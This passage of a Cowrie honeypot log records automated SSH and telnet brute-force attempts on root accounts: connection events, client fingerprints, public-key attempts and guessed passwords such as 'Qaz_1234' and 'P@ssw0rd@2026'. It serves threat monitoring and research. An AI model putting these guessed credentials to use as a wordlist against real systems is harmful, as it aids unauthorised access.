f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:31.557877Z","src_ip":"195.86.192.66","session":"a8d2693412ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!1","message":"login attempt [root/Welcome!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:32.483449Z","src_ip":"195.86.192.66","session":"a8d2693412ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:33.708770Z","src_ip":"195.86.192.66","session":"a8d2693412ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.87533402442932,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:36.670189Z","src_ip":"170.64.224.25","session":"24f71ae28803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":21717,"dst_ip":"10.17.0.5","dst_port":22,"session":"d92f71463bd8","protocol":"ssh","message":"New connection: 223.197.186.7:21717 (10.17.0.5:22) [session: d92f71463bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:56.938945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:56.943348Z","src_ip":"223.197.186.7","session":"d92f71463bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:57.208932Z","src_ip":"223.197.186.7","session":"d92f71463bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz_1234","message":"login attempt [root/Qaz_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:58.141102Z","src_ip":"223.197.186.7","session":"d92f71463bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:59.358722Z","src_ip":"223.197.186.7","session":"d92f71463bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":47358,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d3161d6c5fd","protocol":"ssh","message":"New connection: 46.19.67.181:47358 (10.17.0.5:22) [session: 4d3161d6c5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:27.203239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:27.206918Z","src_ip":"46.19.67.181","session":"4d3161d6c5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:27.318768Z","src_ip":"46.19.67.181","session":"4d3161d6c5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30051981","message":"login attempt [root/30051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:27.643773Z","src_ip":"46.19.67.181","session":"4d3161d6c5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:28.753990Z","src_ip":"46.19.67.181","session":"4d3161d6c5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":34484,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ea219b78da","protocol":"ssh","message":"New connection: 217.160.226.51:34484 (159.203.135.109:22) [session: 11ea219b78da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:35.709848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:35.712513Z","src_ip":"217.160.226.51","session":"11ea219b78da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:35.830607Z","src_ip":"217.160.226.51","session":"11ea219b78da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2026","message":"login attempt [root/P@ssw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:36.320867Z","src_ip":"217.160.226.51","session":"11ea219b78da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:37.446118Z","src_ip":"217.160.226.51","session":"11ea219b78da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":51558,"dst_ip":"159.203.135.109","dst_port":22,"session":"574815a16423","protocol":"ssh","message":"New connection: 139.19.117.129:51558 (159.203.135.109:22) [session: 574815a16423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.552609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.556780Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.650991Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.839217Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.842557Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.937679Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:46.940854Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"995e70d8eb85","protocol":"ssh","message":"New connection: 167.172.187.11:60730 (10.17.0.5:22) [session: 995e70d8eb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:53.278142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:53.282548Z","src_ip":"167.172.187.11","session":"995e70d8eb85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:53.372751Z","src_ip":"167.172.187.11","session":"995e70d8eb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123123a","message":"login attempt [root/A123123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:53.751912Z","src_ip":"167.172.187.11","session":"995e70d8eb85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:54.842657Z","src_ip":"167.172.187.11","session":"995e70d8eb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38882,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd25511be920","protocol":"ssh","message":"New connection: 77.94.47.83:38882 (159.203.135.109:22) [session: fd25511be920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.111235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.116095Z","src_ip":"77.94.47.83","session":"fd25511be920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.225542Z","src_ip":"77.94.47.83","session":"fd25511be920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.552804Z","src_ip":"139.19.117.129","session":"574815a16423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpzssskqwq123","message":"login attempt [root/lpzssskqwq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.557890Z","src_ip":"77.94.47.83","session":"fd25511be920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56714,"dst_ip":"159.203.135.109","dst_port":22,"session":"782ef5399f3a","protocol":"ssh","message":"New connection: 87.251.79.125:56714 (159.203.135.109:22) [session: 782ef5399f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.971048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:56.975770Z","src_ip":"87.251.79.125","session":"782ef5399f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 